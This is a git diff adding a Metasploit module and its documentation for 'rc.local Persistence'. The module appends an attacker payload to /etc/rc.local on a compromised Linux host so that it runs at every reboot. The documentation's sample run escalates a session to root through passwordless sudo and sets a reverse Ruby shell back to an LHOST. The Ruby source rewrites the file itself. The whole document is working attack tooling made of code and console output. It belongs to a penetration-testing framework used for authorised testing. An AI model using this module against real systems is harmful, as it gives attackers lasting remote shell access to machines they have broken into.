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+## rc.local Persistence
+
+This module patches `/etc/rc.local` in order to launch a payload upon reboot.
+
+> Sometimes `/etc/rc.local` is run when the network is not yet on, make sure your payload won't quit if that's the case.
+
+
+### Verification
+
+1. Exploit a box and get a **root** session (tip: try `post/multi/manage/sudo`)
+2. `use exploit/linux/local/rc_local_persistence`
+3. `set SESSION <session>`
+4. `set PAYLOAD <payload>`
+5. `set LHOST <lhost>`
+6. `exploit`
+
+
+### Sample run
+
+#### Escalate the session if needed
+
+```
+msf5 exploit(linux/local/rc_local_persistence) > use post/multi/manage/sudo 
+msf5 post(multi/manage/sudo) > set session 3
+session => 3
+msf5 post(multi/manage/sudo) > run
+
+[*] SUDO: Attempting to upgrade to UID 0 via sudo
+[*] No password available, trying a passwordless sudo.
+[+] SUDO: Root shell secured.
+[*] Post module execution completed
+```
+
+#### Persist
+
+```
+msf5 post(multi/manage/sudo) > use exploit/linux/local/rc_local_persistence
+msf5 exploit(multi/handler) > set payload cmd/unix/reverse_ruby
+payload => cmd/unix/reverse_ruby
+msf5 exploit(linux/local/rc_local_persistence) > set LHOST 192.168.0.41
+LHOST => 192.168.0.41
+msf5 exploit(linux/local/rc_local_persistence) > run
+
+[*] Reading /etc/rc.local
+[*] Patching /etc/rc.local
+```
diff --git a/modules/exploits/linux/local/rc_local_persistence.rb b/modules/exploits/linux/local/rc_local_persistence.rb
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+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Local
+  Rank = ExcellentRanking
+
+  include Msf::Post::File
+  include Msf::Post::Unix
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'rc.local Persistence',
+      'Description'    => %q(
+        This module will edit /etc/rc.local in order to persist a payload.
+        The payload will be executed on the next reboot.
+      ),
+      'License'        => MSF_LICENSE,
+      'Author'         => [ 'Eliott Teissonniere' ],
+      'Platform'       => [ 'unix', 'linux' ],
+      'Arch'           => ARCH_CMD,
+      'Payload'        => {
+        'BadChars'   => "#%\n",
+        'Compat'     => {
+          'PayloadType'  => 'cmd',
+          'RequiredCmd'  => 'generic python ruby netcat perl'
+        }
+      },
+      'SessionTypes'   => [ 'shell', 'meterpreter' ],
+      'DefaultOptions' => { 'WfsDelay' => 0, 'DisablePayloadHandler' => 'true' },
+      'DisclosureDate' => 'Oct 01 1980', # The rc command appeared in 4.0BSD.
+      'Targets'        => [ ['Automatic', {}] ],
+      'DefaultTarget'  => 0
+    ))
+  end
+
+  def exploit
+    unless cmd_exec("test -w '/etc/rc.local' && echo true").include? 'true'
+      fail_with Failure::BadConfig, '/etc/rc.local is not writable'
+    end
+
+    print_status('Reading /etc/rc.local')
+
+    # read /etc/rc.local, but remove `exit 0`
+    rc_local = read_file('/etc/rc.local').gsub(/^exit.*$/, '')
+
+    # add payload and put back `exit 0`
+    rc_local << "\n#{payload.encoded}\nexit 0\n"
+
+    # write new file
+    print_status('Patching /etc/rc.local')
+    write_file('/etc/rc.local', rc_local)
+  end
+end
+
+